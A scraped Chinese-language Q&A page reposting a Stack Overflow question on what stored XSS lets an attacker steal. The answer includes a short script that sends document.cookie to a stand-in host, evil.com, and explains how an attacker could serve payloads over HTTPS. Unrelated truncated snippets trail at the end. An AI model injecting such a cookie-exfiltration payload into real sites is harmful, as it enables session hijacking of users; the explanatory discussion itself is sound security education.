- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
我知道 xss 攻击使用页面的输入点将 javascript 代码插入页面或服务器数据库。在这两种情况下,javascript 代码将在某些事件中很快或稍后被激活。我想象一个攻击者使用浏览器将 javascript 代码放入服务器数据库中,可能使用输入名称。另一个客户端(受害者)向同一台服务器发出请求,也许它要求用户分类。攻击者是classic,所以攻击者的名字(实际上是邪恶的javascript代码)被插入到受害者请求的页面中。
问题是攻击者可以窃取哪些信息以及如何窃取?
我想攻击者想要获取 cookie。我想他想包括一个注入(inject)了 javascript 代码的邪恶脚本。这样他就可以传递给jsp/asp或者任何关于cookies的信息。
因此,如果站点位于 https 中,是否可以包含位于 http 服务器中的脚本?我不相信攻击者使用 https 服务器来存储他的脚本,因为它很快就会被轻易逮捕。
或者攻击者可能还有其他获取信息的方法?
最佳答案
I imagine the attacker wants to get cookies. And I imagine he wants include one his evil script with the javascript code injected. In this way he can pass to the jsp/asp or whatever information about cookies.
The question is what information can the attacker steal and how?
是的,最简单的攻击类型是窃取非 HttpOnly cookies 。
<script>
new Image().src = 'https://www.evil.com/?' + escape(document.cookie);
</script>
其他攻击包括注入(inject) JavaScript 键盘记录器,以类似方式将击键发送回攻击者,或将用户重定向到钓鱼网站或包含 drive by downloads 的网站。 .
So if the site is in https , it's possible to include scripts which are in http server? I don't believe the attacker uses https server to store his scripts because it could be soon easily arrested.
有趣的问题。是的,使用 HTTPS 的站点并不会降低 XSS 漏洞的可能性。他们需要在启用 HTTPS 的 Web 服务器上托管他们的攻击页面,并使用受害者机器信任的证书。这可能是攻击者自己的机器 cheap SSL certificate paid for by BitCoin其中 only the domain is validated (not the organisation) ,它可能是一台已经受损的机器(例如,如果攻击者已经控制了另一个公共(public)网站),或者它可能是攻击者现在在其域上使用的另一个被黑站点的被盗证书(结合 DNS hijack或 MITM )。 编辑:现在可以从 Let's Encrypt 等机构获得免费证书和类似的。
获得域验证证书需要很少的安全性:
Low assurance certificates include only your domain name in thecertificate. Certificate Authorities usually verify that you own thedomain name by checking the WHOIS record. The certificate can beissued instantly and is cheaper but, as the name implies, thesecertificates provide less assurance to your customers.
关于css - Xss 跨站脚本实践,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/29298501/
我有一个站点是在 asp.net 中完成的。另一个较新的站点是在 asp.net MVC、LINQ 和 Razor 中完成的。 当我访问旧站点 oldsite/default?userid=243 时
我想提供一段 Javascript 代码,它可以在包含它的任何网站上运行,但它总是需要在托管 Javascript 的服务器上获取更多数据(甚至修改数据)。我知道出于显而易见的原因存在安全限制。 考虑
我是一名优秀的程序员,十分优秀!